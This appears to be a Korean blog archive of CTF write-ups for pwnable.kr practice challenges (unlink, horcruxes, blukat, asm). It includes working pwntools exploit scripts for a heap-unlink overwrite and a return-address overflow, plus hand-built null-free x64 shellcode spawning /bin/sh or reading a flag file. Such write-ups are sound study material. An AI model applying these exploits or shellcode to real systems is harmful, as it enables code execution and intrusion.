'pwnable/Toddler's Bottle'에 해당되는 글 20건

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

typedef struct tagOBJ{

struct tagOBJ* fd;

struct tagOBJ* bk;

char buf[8];

}OBJ;


void shell(){

system("/bin/sh");

}


void unlink(OBJ* P){

OBJ* BK;

OBJ* FD;

BK=P->bk;

FD=P->fd;

FD->bk=BK;

BK->fd=FD;

}

int main(int argc, char* argv[]){

malloc(1024);

OBJ* A = (OBJ*)malloc(sizeof(OBJ));

OBJ* B = (OBJ*)malloc(sizeof(OBJ));

OBJ* C = (OBJ*)malloc(sizeof(OBJ));


// double linked list: A <-> B <-> C

A->fd = B;

B->bk = A;

B->fd = C;

C->bk = B;


printf("here is stack address leak: %p\n", &A);

printf("here is heap address leak: %p\n", A);

printf("now that you have leaks, get shell!\n");

// heap overflow!

gets(A->buf);


// exploit this unlink!

unlink(B);

return 0;

}


unlink는 취약점이 꽤나 쉽게 눈에 보이는 편이다.

unlink()에서 OBJ* P 를 받아 그 fd와 BK를 바꾸는데 A->buf 에 gets로 입력받기 때문에 B의 fd와 bk를 heap overflow로 덮을 수 있다.


따라서 이 값을 덮어쓰면 된다.


처음에는 main의 ret을 shell()로 덮어쓸려고 했는데

main의 에필로그를 보면 ecx에 스택의 값을 옮기고, 그 값에 -4를 해서 esp에 옮기는것을 볼 수 있다.


이 값을 덮으면 된다.


참고로 shell()의 주소를 직접 넣으면 .text의 영역을 수정할 수 없기 때문에 세그먼테이션 폴트가 뜬다. 그렇기 때문에 A->buf에 입력을 받으면서 shell()의 주소를 넣어주고, 그 값을 가리킬 생각이다.


주소가 매 실행마다 바뀌기 때문에 leak된 stack과 heap값에서 offset을 구해야한다.



gdb로 보니 ebp-4가 가리키는 값은 leak된 스택주소와 0x10만큼 거리가 있고,

입력한 buf와 A까지의 거리는 8만큼 떨어져 있다.


from pwn import *


r = process("./unlink")

gdb.attach(pidof(r)[0])

context.log_level='debug'

shell = 0x80484eb


r.recv(30)

leak_stack = int(r.recvuntil("\n"),16)


r.recv(29)

leak_heap = int(r.recvuntil("\n"),16)


r.recv()


print "stack :", hex(leak_stack)


print "heap :", hex(leak_heap)


payload = ""

payload += p32(shell)

payload += "A"*8

payload += p32(0x19)

payload += p32(leak_heap+12) #fd

payload += p32(leak_stack + 0x10 ) #bk



r.sendline(payload)

r.interactive()




페이로드 이다. ecx-4의 값이 들어가기 때문에 leak_heap+12를 넣어주면 된다.
































'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] horcruxes  (0) 2018.09.12
[Toddler's Bottle] blukat  (0) 2018.09.12
[Toddler's Bottle] asm  (0) 2018.09.12
[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddle's Bottle] cmd2  (0) 2018.05.31
블로그 이미지

천재보다는 범재

,

이번 horcruxes는 나온지 얼마 안된 따끈따끈한 바이너리이다. 보아하니 코드는 주지 않고, nc서버에서 진행된다.


우선 평소같이 로컬로 가져와 IDA와 GDB로 열어보았다.


취약점 자체는 금방 찾을 수 있었다. (괜히 삽질을 많이해서 그렇지)





gets(s);를 보면 아무런 길이 제한 없이 입력을 받는 것을 볼 수 있다. 너무 당연하게도 ret도 덮을 수 있다.


보면 ret까지의 거리가 0x74+4 즉 120인 것을 알 수 있다.


그리고 위쪽 scanf가 있으므로 1바이트 더 입력해서 gets로 내려오도록 하자.


그리고 A,B,C,D,E,F,G 함수를 각각 실행해서 a~g 변수의 값을 구하도록 하자.


from pwn import *

context.log_level='debug'

r = process("./horcruxes")


A = 0x809fe4b

B = 0x809fe6a

C = 0x809fe89

D = 0x809fea8

E = 0x809fec7

F = 0x809fee6

G = 0x809ff05



r.recv(1024)

payload = ""

payload += "A"*121


payload += p32(A)


payload += p32(B)


payload += p32(C)


payload += p32(D)


payload += p32(E)


payload += p32(F)


payload += p32(G)

우선 여기까지 짤 수 있다.

실행하면




저렇게 값들이 모두 출력되는 것을 볼 수 있다.

이를 모두 모은 후, 더해준 다음 ropme()함수를 다시 실행해 주자.



보면 ropme()함수의 주소에는 0x0A가 들어가기 때문에 gets에서 개행문자로 인식해 입력을 끊어버린다. 그래서 우린 main()의 call ropme() 위치로 jmp할 것이다.


0x0809fff9로 jmp하면 될 것이다.


from pwn import *

context.log_level='debug'

r = process("./horcruxes")

A = 0x809fe4b

B = 0x809fe6a

C = 0x809fe89

D = 0x809fea8

E = 0x809fec7

F = 0x809fee6

G = 0x809ff05

ropme = 0x0809FFF9

#gdb.attach(pidof(r)[0])


r.recv(1024)

payload = ""

payload += "A"*121


payload += p32(A)


payload += p32(B)


payload += p32(C)


payload += p32(D)


payload += p32(E)


payload += p32(F)


payload += p32(G)


payload += p32(ropme)




r.sendline(payload)


r.recvuntil('Diary" (EXP +')

a = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Ring" (EXP +')

b = int( r.recvuntil(")\n")[:-2] )


r.recvuntil('Cup" (EXP +')

c = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Locket" (EXP +')

d = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Diadem" (EXP +')

e = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Snake" (EXP +')

f = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Potter" (EXP +')

g = int(r.recvuntil(")\n")[:-2])


r.send("A")

r.sendline(str(a+b+c+d+e+f+g))

r.recv(1024)


r.interactive()



이제 이 코드를 pwnable서버로 들어가서 nc로 넘겨주면 된다.



'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] unlink  (0) 2018.09.14
[Toddler's Bottle] blukat  (0) 2018.09.12
[Toddler's Bottle] asm  (0) 2018.09.12
[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddle's Bottle] cmd2  (0) 2018.05.31
블로그 이미지

천재보다는 범재

,

이 문제는 참 간단한 문제다. 따로 로컬로 불러올 필요도 없었다.




코드는 이렇다. strcmp로 password와 입력받은 buf를 비교한다.

peda로 strcmp에 BP를 걸고 진행해보자



레지스터 RDI에 보면 cat: password: Permission denied라는 문자열이 보인다.


얼핏보면 cat을 통해 뒷 문자열을 출력하려고 하는 것처럼 보이겠지만 사실 저 문자열 자체가 password이다. 


64비트에서 함수를 호출할때 보통 인자를 rax, rdi, rsi, rdx ,...식으로넣는다는걸 생각해보면 rdi에는 password가 들어가 있을것을 유추할 수 있다.


따라서 저 문자열을 넣으면 된다.




peda에서 보여주는 arguments에도 같은 값이 들어있는것을 볼 수 있고,

실행하면 flag를 얻을 수 있다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] unlink  (0) 2018.09.14
[Toddler's Bottle] horcruxes  (0) 2018.09.12
[Toddler's Bottle] asm  (0) 2018.09.12
[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddle's Bottle] cmd2  (0) 2018.05.31
블로그 이미지

천재보다는 범재

,

asm은 쉘코드를 만드는 문제이다.



#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/mman.h>

#include <seccomp.h>

#include <sys/prctl.h>

#include <fcntl.h>

#include <unistd.h>


#define LENGTH 128


void sandbox(){

scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);

if (ctx == NULL) {

printf("seccomp error\n");

exit(0);

}


seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);


if (seccomp_load(ctx) < 0){

seccomp_release(ctx);

printf("seccomp error\n");

exit(0);

}

seccomp_release(ctx);

}


char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";

unsigned char filter[256];

int main(int argc, char* argv[]){


setvbuf(stdout, 0, _IONBF, 0);

setvbuf(stdin, 0, _IOLBF, 0);


printf("Welcome to shellcoding practice challenge.\n");

printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");

printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");

printf("If this does not challenge you. you should play 'asg' challenge :)\n");


char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);

memset(sh, 0x90, 0x1000);

memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);

printf("give me your x64 shellcode: ");

read(0, sh+offset, 1000);


alarm(10);

chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp

sandbox();

((void (*)(void))sh)();

return 0;

}



코드에서 볼 수 있듯이 입력을 받아 stub에 이어붙힌 후, 그대로 실행한다.

stub의 코드를 확인해 보니 

xor rax, rax

xor rdi, rdi

......

처럼 레지스터를 비워주는 역할이었다. 따라서 쉘코드를 짤때 굳이 레지스터값을 0으로 초기화할 필요없다.




먼저 쉘코드를 짜는 법을 연습하기 위해 /bin/sh를 여는 코드부터 짜 보았다.


section .text


global _start


_start:

mov rax, 0x1168732f

shl rax, 0x28

shr rax, 0x28

push rax

sub rsp, 4

mov dword[rsp], 0x6e69622f


xor rax, rax

mov rsi, rax

mov rdx, rax



mov rax, 0x1111113b 

mov rdi, rsp

shl rax, 0x38

shr rax, 0x38

syscall



쉘코드를 만들때는 0x00이 들어가선 안된다는 것을 모두 알것이다. 그래서 C로 코딩한 어셈에서 여러가지를 바꿔야 하는데, 


우선 나는 /bin/sh를 스택에 넣는것부터 시작했다.


mov rax, 0x1168732f

shl rax, 0x28

shr rax, 0x28

push rax

sub rsp, 4

mov dword[rsp], 0x6e69622f


이 부분이 /bin/sh를 넣는 부분이다. 먼저 /bin/sh 가 0x6e69622f 0x0068732f라는 것을 고려하면 그냥 mov로 넣으면 맨 뒤의 00이 어떻게 해도 쉘코드에 남게된다.


이를 해결하기 위해 나는 0x1168732f를 한 뒤, shift연산을 통해 앞의 1byte를 날렸다.


64비트이기 때문에 앞쪽 4바이트를 포함 5바이트를 옮겨야 한다. 따라서 40bit만큼 왼쪽으로 shift한 후, 다시 오른쪽으로 shift한다. 그리하면 0x68732f만이 rax에 남는다.


그리고 그 값을 push하게 되면 0x00000000 0x0068732f 가 스택에 들어가게 된다. 그리고 난 후, rsp에서 4를 빼서 0x00000000의 위치를 가리키게 만들고 그 자리에 나머지 앞부분 0x6e69622f 을 넣는다.


이렇게 하면 스택에 /bin/sh를 넣을 수 있다.


그 뒤는 그리 어렵지 않다. 64비트 호출 규약에 맞춰서 


rax에 execve함수를 호출하는 59를 넣고

rdi에 rsp주소(/bin/sh의 주소) 를 넣고


실행하면 된다. 


물론 59도 0x0000003b로 00이 남기 때문에 이도 shift연산으로 지워주자


mov rax, 0x1111113b 

mov rdi, rsp

shl rax, 0x38

shr rax, 0x38

syscall



해당코드를 실행하면 쉘이 열리는 것을 알 수 있다.

xor로  레지스터를 비워주는것은 test를 위해 짠 코드에선 레지스터를 초기화 시키지 않았기 때문이다.


이 방법을 사용해서 asm도 풀기 위해 시도했다.


먼저 아주 긴 파일명을 스택에 넣어야한다.



파일명을 ascii to hex 툴을 이용해 바꿨다.

그리고 4개씩 잘라 0x를 붙혀 hex.txt라는 파일에 붙혀 넣었다.

이 상태는 빅 엔디안 상태이므로 엔디안을 바꿔주어야 한다.


0x74686973

0x5f69735f

0x70776e61

0x626c652e

0x6b725f66

0x6c61675f

0x66696c65

0x5f706c65

0x6173655f

0x72656164

0x5f746869

0x735f6669

0x6c652e73

0x6f727279

0x5f746865

0x5f66696c

0x655f6e61

0x6d655f69

0x735f7665

0x72795f6c

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x30303030

0x30303030

0x30303030

0x30303030

0x30303030

0x30303030

0x306f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x6f6f6f6f

0x30303030

0x30303030

0x30303030

0x6f306f30

0x6f306f30

0x6f306f30

0x6f6e67



이 많은 hex를 직접 바꾸는 데에는 시간이 오래걸릴게 뻔하므로 간단한 python코드를 짰다.


f = open("hex.txt", 'r')


for i in range(58):

print "mov dword[rsp+",i*4,"], 0x",struct.pack('<L',int(f.readline(),16)).encode("hex")



hex.txt를 열어 어셈에 넣을 문장을 대충 만들어주는 코드이다.




실제로 엔디안이 바뀌어서 잘 나오는 것을 볼 수 있다. 이 출력을 복사해 메모장에서 약간의 치환을 한다면 완벽한 코드가 된다.


그리고 이 파일명 또한 마지막에 00이 들어가게 되므로 rsp를 움직여서 붙혀넣어야 했다.


mov dword[rsp+0], 0x73696874

mov dword[rsp+4], 0x5f73695f

mov dword[rsp+8], 0x616e7770

mov dword[rsp+12], 0x2e656c62

mov dword[rsp+16], 0x665f726b

mov dword[rsp+20], 0x5f67616c

mov dword[rsp+24], 0x656c6966

mov dword[rsp+28], 0x656c705f

mov dword[rsp+32], 0x5f657361

mov dword[rsp+36], 0x64616572

mov dword[rsp+40], 0x6968745f

mov dword[rsp+44], 0x69665f73

mov dword[rsp+48], 0x732e656c

mov dword[rsp+52], 0x7972726f

mov dword[rsp+56], 0x6568745f

mov dword[rsp+60], 0x6c69665f

mov dword[rsp+64], 0x616e5f65

mov dword[rsp+68], 0x695f656d

mov dword[rsp+72], 0x65765f73

mov dword[rsp+76], 0x6c5f7972

mov dword[rsp+80], 0x6f6f6f6f

mov dword[rsp+84], 0x6f6f6f6f

mov dword[rsp+88], 0x6f6f6f6f

mov dword[rsp+92], 0x6f6f6f6f

mov dword[rsp+96], 0x6f6f6f6f

mov dword[rsp+100], 0x6f6f6f6f

mov dword[rsp+104], 0x6f6f6f6f

mov dword[rsp+108], 0x6f6f6f6f

mov dword[rsp+112], 0x6f6f6f6f

mov dword[rsp+116], 0x6f6f6f6f

mov dword[rsp+120], 0x6f6f6f6f

mov dword[rsp+124], 0x6f6f6f6f

mov dword[rsp+128], 0x6f6f6f6f

mov dword[rsp+132], 0x6f6f6f6f

mov dword[rsp+136], 0x6f6f6f6f

mov dword[rsp+140], 0x6f6f6f6f

mov dword[rsp+144], 0x6f6f6f6f

mov dword[rsp+148], 0x6f6f6f6f

mov dword[rsp+152], 0x6f6f6f6f

mov dword[rsp+156], 0x30303030

mov dword[rsp+160], 0x30303030

mov dword[rsp+164], 0x30303030

mov dword[rsp+168], 0x30303030

mov dword[rsp+172], 0x30303030

mov dword[rsp+176], 0x30303030

mov dword[rsp+180], 0x6f6f6f30

mov dword[rsp+184], 0x6f6f6f6f

mov dword[rsp+188], 0x6f6f6f6f

mov dword[rsp+192], 0x6f6f6f6f

mov dword[rsp+196], 0x6f6f6f6f

mov dword[rsp+200], 0x6f6f6f6f

mov dword[rsp+204], 0x30303030

mov dword[rsp+208], 0x30303030

mov dword[rsp+212], 0x30303030

mov dword[rsp+216], 0x306f306f

mov dword[rsp+220], 0x306f306f


add rsp, 236

mov rax, 0x11676e6f

shl rax, 0x28

shr rax, 0x28

push rax

sub rsp, 4

mov dword[rsp], 0x306f306f


sub rsp, 224


그리고 이제 open, read, write를 차례차례 호출해 주면 된다.


mov rax, 0x11111102  //open -> rax :2

shl rax, 0x38

shr rax, 0x38

mov rdi, rsp            //rdi = 파일명

xor rsi, rsi                //rsi = FLAG

add rdx, 70                //rxs = size

syscall


mov rdi, rax            //반환된 fd값을 rdi로 옮김

//rdi = read()에서 fd

xor rax, rax                //read() -> rax : 0

mov rsi, rsp            //입력받는 스택주소 : rsp

syscall                    //어차피 open으로 fd값을 얻었음, 기존 파일명은 불필요


mov rax, 0x11111101    //write() -> rax :1

shl rax, 0x38

shr rax, 0x38            //rsi(buffer)은 rsp값을 그대로 쓰니 냅둠

mov rdi, rax            //rdi = write()의 fd

syscall                    //fd = 1(stdout)이어야 하니 rax를 옮김





이제 완성이다. 해당 어셈블리를 컴파일하고 실행해보자.


Segmentation fault가 뜨지만 확실히 파일은 열려서 읽어온 것을 볼 수 있다.


그럼 이제 쉘코드로 바꾸자.


objdump -d 를 사용하자.



Disassembly of section .text:


0000000000400080 <_start>:

  400080: 55                    push   %rbp

  400081: 48 89 e5              mov    %rsp,%rbp

  400084: 48 81 ec 90 01 00 00 sub    $0x190,%rsp

  40008b: c7 04 24 74 68 69 73 movl   $0x73696874,(%rsp)

  400092: c7 44 24 04 5f 69 73 movl   $0x5f73695f,0x4(%rsp)

  400099: 5f 

  40009a: c7 44 24 08 70 77 6e movl   $0x616e7770,0x8(%rsp)

  4000a1: 61 

  4000a2: c7 44 24 0c 62 6c 65 movl   $0x2e656c62,0xc(%rsp)

  4000a9: 2e 

  4000aa: c7 44 24 10 6b 72 5f movl   $0x665f726b,0x10(%rsp)

  4000b1: 66 

  4000b2: c7 44 24 14 6c 61 67 movl   $0x5f67616c,0x14(%rsp)

  4000b9: 5f 

  4000ba: c7 44 24 18 66 69 6c movl   $0x656c6966,0x18(%rsp)

  4000c1: 65 

  4000c2: c7 44 24 1c 5f 70 6c movl   $0x656c705f,0x1c(%rsp)

  4000c9: 65 

  4000ca: c7 44 24 20 61 73 65 movl   $0x5f657361,0x20(%rsp)

  4000d1: 5f 

  4000d2: c7 44 24 24 72 65 61 movl   $0x64616572,0x24(%rsp)

  4000d9: 64 

  4000da: c7 44 24 28 5f 74 68 movl   $0x6968745f,0x28(%rsp)

  4000e1: 69 

  4000e2: c7 44 24 2c 73 5f 66 movl   $0x69665f73,0x2c(%rsp)

  4000e9: 69 

  4000ea: c7 44 24 30 6c 65 2e movl   $0x732e656c,0x30(%rsp)

  4000f1: 73 

  4000f2: c7 44 24 34 6f 72 72 movl   $0x7972726f,0x34(%rsp)

  4000f9: 79 

  4000fa: c7 44 24 38 5f 74 68 movl   $0x6568745f,0x38(%rsp)

  400101: 65 

  400102: c7 44 24 3c 5f 66 69 movl   $0x6c69665f,0x3c(%rsp)

  400109: 6c 

  40010a: c7 44 24 40 65 5f 6e movl   $0x616e5f65,0x40(%rsp)

  400111: 61 

  400112: c7 44 24 44 6d 65 5f movl   $0x695f656d,0x44(%rsp)

  400119: 69 

  40011a: c7 44 24 48 73 5f 76 movl   $0x65765f73,0x48(%rsp)

  400121: 65 

  400122: c7 44 24 4c 72 79 5f movl   $0x6c5f7972,0x4c(%rsp)

  400129: 6c 

  40012a: c7 44 24 50 6f 6f 6f movl   $0x6f6f6f6f,0x50(%rsp)

  400131: 6f 

  400132: c7 44 24 54 6f 6f 6f movl   $0x6f6f6f6f,0x54(%rsp)

  400139: 6f 

  40013a: c7 44 24 58 6f 6f 6f movl   $0x6f6f6f6f,0x58(%rsp)

  400141: 6f 

  400142: c7 44 24 5c 6f 6f 6f movl   $0x6f6f6f6f,0x5c(%rsp)

  400149: 6f 

  40014a: c7 44 24 60 6f 6f 6f movl   $0x6f6f6f6f,0x60(%rsp)

  400151: 6f 

  400152: c7 44 24 64 6f 6f 6f movl   $0x6f6f6f6f,0x64(%rsp)

  400159: 6f 

  40015a: c7 44 24 68 6f 6f 6f movl   $0x6f6f6f6f,0x68(%rsp)

  400161: 6f 

  400162: c7 44 24 6c 6f 6f 6f movl   $0x6f6f6f6f,0x6c(%rsp)

  400169: 6f 

  40016a: c7 44 24 70 6f 6f 6f movl   $0x6f6f6f6f,0x70(%rsp)

  400171: 6f 

  400172: c7 44 24 74 6f 6f 6f movl   $0x6f6f6f6f,0x74(%rsp)

  400179: 6f 

  40017a: c7 44 24 78 6f 6f 6f movl   $0x6f6f6f6f,0x78(%rsp)

  400181: 6f 

  400182: c7 44 24 7c 6f 6f 6f movl   $0x6f6f6f6f,0x7c(%rsp)

  400189: 6f 

  40018a: c7 84 24 80 00 00 00 movl   $0x6f6f6f6f,0x80(%rsp)

  400191: 6f 6f 6f 6f 

  400195: c7 84 24 84 00 00 00 movl   $0x6f6f6f6f,0x84(%rsp)

  40019c: 6f 6f 6f 6f 

  4001a0: c7 84 24 88 00 00 00 movl   $0x6f6f6f6f,0x88(%rsp)

  4001a7: 6f 6f 6f 6f 

  4001ab: c7 84 24 8c 00 00 00 movl   $0x6f6f6f6f,0x8c(%rsp)

  4001b2: 6f 6f 6f 6f 

  4001b6: c7 84 24 90 00 00 00 movl   $0x6f6f6f6f,0x90(%rsp)

  4001bd: 6f 6f 6f 6f 

  4001c1: c7 84 24 94 00 00 00 movl   $0x6f6f6f6f,0x94(%rsp)

  4001c8: 6f 6f 6f 6f 

  4001cc: c7 84 24 98 00 00 00 movl   $0x6f6f6f6f,0x98(%rsp)

  4001d3: 6f 6f 6f 6f 

  4001d7: c7 84 24 9c 00 00 00 movl   $0x30303030,0x9c(%rsp)

  4001de: 30 30 30 30 

  4001e2: c7 84 24 a0 00 00 00 movl   $0x30303030,0xa0(%rsp)

  4001e9: 30 30 30 30 

  4001ed: c7 84 24 a4 00 00 00 movl   $0x30303030,0xa4(%rsp)

  4001f4: 30 30 30 30 

  4001f8: c7 84 24 a8 00 00 00 movl   $0x30303030,0xa8(%rsp)

  4001ff: 30 30 30 30 

  400203: c7 84 24 ac 00 00 00 movl   $0x30303030,0xac(%rsp)

  40020a: 30 30 30 30 

  40020e: c7 84 24 b0 00 00 00 movl   $0x30303030,0xb0(%rsp)

  400215: 30 30 30 30 

  400219: c7 84 24 b4 00 00 00 movl   $0x6f6f6f30,0xb4(%rsp)

  400220: 30 6f 6f 6f 

  400224: c7 84 24 b8 00 00 00 movl   $0x6f6f6f6f,0xb8(%rsp)

  40022b: 6f 6f 6f 6f 

  40022f: c7 84 24 bc 00 00 00 movl   $0x6f6f6f6f,0xbc(%rsp)

  400236: 6f 6f 6f 6f 

  40023a: c7 84 24 c0 00 00 00 movl   $0x6f6f6f6f,0xc0(%rsp)

  400241: 6f 6f 6f 6f 

  400245: c7 84 24 c4 00 00 00 movl   $0x6f6f6f6f,0xc4(%rsp)

  40024c: 6f 6f 6f 6f 

  400250: c7 84 24 c8 00 00 00 movl   $0x6f6f6f6f,0xc8(%rsp)

  400257: 6f 6f 6f 6f 

  40025b: c7 84 24 cc 00 00 00 movl   $0x30303030,0xcc(%rsp)

  400262: 30 30 30 30 

  400266: c7 84 24 d0 00 00 00 movl   $0x30303030,0xd0(%rsp)

  40026d: 30 30 30 30 

  400271: c7 84 24 d4 00 00 00 movl   $0x30303030,0xd4(%rsp)

  400278: 30 30 30 30 

  40027c: c7 84 24 d8 00 00 00 movl   $0x306f306f,0xd8(%rsp)

  400283: 6f 30 6f 30 

  400287: c7 84 24 dc 00 00 00 movl   $0x306f306f,0xdc(%rsp)

  40028e: 6f 30 6f 30 

  400292: 48 81 c4 ec 00 00 00 add    $0xec,%rsp

  400299: b8 6f 6e 67 11        mov    $0x11676e6f,%eax

  40029e: 48 c1 e0 28          shl    $0x28,%rax

  4002a2: 48 c1 e8 28          shr    $0x28,%rax

  4002a6: 50                    push   %rax

  4002a7: 48 83 ec 04          sub    $0x4,%rsp

  4002ab: c7 04 24 6f 30 6f 30 movl   $0x306f306f,(%rsp)

  4002b2: 48 81 ec e0 00 00 00 sub    $0xe0,%rsp

  4002b9: b8 02 11 11 11        mov    $0x11111102,%eax

  4002be: 48 c1 e0 38          shl    $0x38,%rax

  4002c2: 48 c1 e8 38          shr    $0x38,%rax

  4002c6: 48 89 e7              mov    %rsp,%rdi

  4002c9: be 00 00 00 00        mov    $0x0,%esi

  4002ce: ba e0 00 00 00        mov    $0xe0,%edx

  4002d3: 0f 05                syscall 

  4002d5: 48 89 c7              mov    %rax,%rdi

  4002d8: 48 31 c0              xor    %rax,%rax

  4002db: 48 81 c4 2c 01 00 00 add    $0x12c,%rsp

  4002e2: 48 89 e6              mov    %rsp,%rsi

  4002e5: ba 46 00 00 00        mov    $0x46,%edx

  4002ea: 0f 05                syscall 

  4002ec: b8 01 11 11 11        mov    $0x11111101,%eax

  4002f1: 48 c1 e0 38          shl    $0x38,%rax

  4002f5: 48 c1 e8 38          shr    $0x38,%rax

  4002f9: 48 89 c7              mov    %rax,%rdi

  4002fc: 0f 05                syscall 







막상 보니 00이 무쟈게 많다. 보아하니 rsp+XX 에서 XX가 80 정도를 넘으면 자리수가 늘어나서 0000이 생기는 듯 했다. 이를 수정하기 위해


rsp를 중간중간 늘려가면서 입력하는거로 바꿨다.




mov dword[rsp+0], 0x73696874

mov dword[rsp+4], 0x5f73695f

mov dword[rsp+8], 0x616e7770

mov dword[rsp+12], 0x2e656c62

mov dword[rsp+16], 0x665f726b

mov dword[rsp+20], 0x5f67616c

mov dword[rsp+24], 0x656c6966

mov dword[rsp+28], 0x656c705f

mov dword[rsp+32], 0x5f657361

mov dword[rsp+36], 0x64616572

mov dword[rsp+40], 0x6968745f

mov dword[rsp+44], 0x69665f73

mov dword[rsp+48], 0x732e656c

mov dword[rsp+52], 0x7972726f

mov dword[rsp+56], 0x6568745f

mov dword[rsp+60], 0x6c69665f

mov dword[rsp+64], 0x616e5f65

mov dword[rsp+68], 0x695f656d

mov dword[rsp+72], 0x65765f73

mov dword[rsp+76], 0x6c5f7972

add rsp, 80

mov dword[rsp], 0x6f6f6f6f

mov dword[rsp+4], 0x6f6f6f6f

mov dword[rsp+8], 0x6f6f6f6f

mov dword[rsp+12], 0x6f6f6f6f

mov dword[rsp+16], 0x6f6f6f6f

mov dword[rsp+20], 0x6f6f6f6f

mov dword[rsp+24], 0x6f6f6f6f

mov dword[rsp+28], 0x6f6f6f6f

mov dword[rsp+32], 0x6f6f6f6f

mov dword[rsp+36], 0x6f6f6f6f

mov dword[rsp+40], 0x6f6f6f6f

mov dword[rsp+44], 0x6f6f6f6f

mov dword[rsp+48], 0x6f6f6f6f

mov dword[rsp+52], 0x6f6f6f6f

mov dword[rsp+56], 0x6f6f6f6f

mov dword[rsp+60], 0x6f6f6f6f

mov dword[rsp+64], 0x6f6f6f6f

mov dword[rsp+68], 0x6f6f6f6f

mov dword[rsp+72], 0x6f6f6f6f

mov dword[rsp+76], 0x30303030

add rsp, 80

mov dword[rsp], 0x30303030

mov dword[rsp+4], 0x30303030

mov dword[rsp+8], 0x30303030

mov dword[rsp+12], 0x30303030

mov dword[rsp+16], 0x30303030

mov dword[rsp+20], 0x6f6f6f30

mov dword[rsp+24], 0x6f6f6f6f

mov dword[rsp+28], 0x6f6f6f6f

mov dword[rsp+32], 0x6f6f6f6f

mov dword[rsp+36], 0x6f6f6f6f

mov dword[rsp+40], 0x6f6f6f6f

mov dword[rsp+44], 0x30303030

mov dword[rsp+48], 0x30303030

mov dword[rsp+52], 0x30303030

mov dword[rsp+56], 0x306f306f

mov dword[rsp+60], 0x306f306f



add rsp, 76

mov rax, 0x11676e6f

shl rax, 0x28

shr rax, 0x28

push rax

sub rsp, 4

mov dword[rsp], 0x306f306f


sub rsp, 74

sub rsp, 74

sub rsp, 76


수정하고 보니 00이 많이 사라졌다.


0000000000400080 <_start>:

  400080: c7 04 24 74 68 69 73 movl   $0x73696874,(%rsp)

  400087: c7 44 24 04 5f 69 73 movl   $0x5f73695f,0x4(%rsp)

  40008e: 5f 

  40008f: c7 44 24 08 70 77 6e movl   $0x616e7770,0x8(%rsp)

  400096: 61 

  400097: c7 44 24 0c 62 6c 65 movl   $0x2e656c62,0xc(%rsp)

  40009e: 2e 

  40009f: c7 44 24 10 6b 72 5f movl   $0x665f726b,0x10(%rsp)

  4000a6: 66 

  4000a7: c7 44 24 14 6c 61 67 movl   $0x5f67616c,0x14(%rsp)

  4000ae: 5f 

  4000af: c7 44 24 18 66 69 6c movl   $0x656c6966,0x18(%rsp)

  4000b6: 65 

  4000b7: c7 44 24 1c 5f 70 6c movl   $0x656c705f,0x1c(%rsp)

  4000be: 65 

  4000bf: c7 44 24 20 61 73 65 movl   $0x5f657361,0x20(%rsp)

  4000c6: 5f 

  4000c7: c7 44 24 24 72 65 61 movl   $0x64616572,0x24(%rsp)

  4000ce: 64 

  4000cf: c7 44 24 28 5f 74 68 movl   $0x6968745f,0x28(%rsp)

  4000d6: 69 

  4000d7: c7 44 24 2c 73 5f 66 movl   $0x69665f73,0x2c(%rsp)

  4000de: 69 

  4000df: c7 44 24 30 6c 65 2e movl   $0x732e656c,0x30(%rsp)

  4000e6: 73 

  4000e7: c7 44 24 34 6f 72 72 movl   $0x7972726f,0x34(%rsp)

  4000ee: 79 

  4000ef: c7 44 24 38 5f 74 68 movl   $0x6568745f,0x38(%rsp)

  4000f6: 65 

  4000f7: c7 44 24 3c 5f 66 69 movl   $0x6c69665f,0x3c(%rsp)

  4000fe: 6c 

  4000ff: c7 44 24 40 65 5f 6e movl   $0x616e5f65,0x40(%rsp)

  400106: 61 

  400107: c7 44 24 44 6d 65 5f movl   $0x695f656d,0x44(%rsp)

  40010e: 69 

  40010f: c7 44 24 48 73 5f 76 movl   $0x65765f73,0x48(%rsp)

  400116: 65 

  400117: c7 44 24 4c 72 79 5f movl   $0x6c5f7972,0x4c(%rsp)

  40011e: 6c 

  40011f: 48 83 c4 50          add    $0x50,%rsp

  400123: c7 04 24 6f 6f 6f 6f movl   $0x6f6f6f6f,(%rsp)

  40012a: c7 44 24 04 6f 6f 6f movl   $0x6f6f6f6f,0x4(%rsp)

